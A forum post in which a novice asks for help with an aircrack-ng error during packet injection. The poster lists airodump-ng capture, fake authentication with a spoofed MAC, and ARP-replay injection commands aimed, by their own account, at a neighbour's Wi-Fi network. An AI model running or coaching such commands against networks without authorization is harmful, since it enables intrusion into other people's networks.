Hello all new to this. sorry if this has been asked before. I have tryed searched and read a few things and nada.. so I gonna post and hopefully get a quick reply and maybe yelled at

I have a Aethos chip on my laptop but I use a yagi antenna that uses a Zydas. I get about 15-20 power from my neighbor. Not a whole lot of traffic tho but still shouldn't be getting this error?

I get this error when injecting packets:
notice : got a deauth/disassoc packet. Is the source mac associated?

These are the steps I use all together to get there:
(skipping the changing mac crap u already know about that)
1. airodump-ng eth0
2. airodump-ng -c (channel) -w (filename) --bssid (BSSID) eth0
[open new shell]
3. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 eth0
It says auth successful on the first try. very quick
4. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 eth0
And after that it reads packets by 1 and slowly goes up. after a few mins it might start sending and such. but usually after it starts it gives me that notice.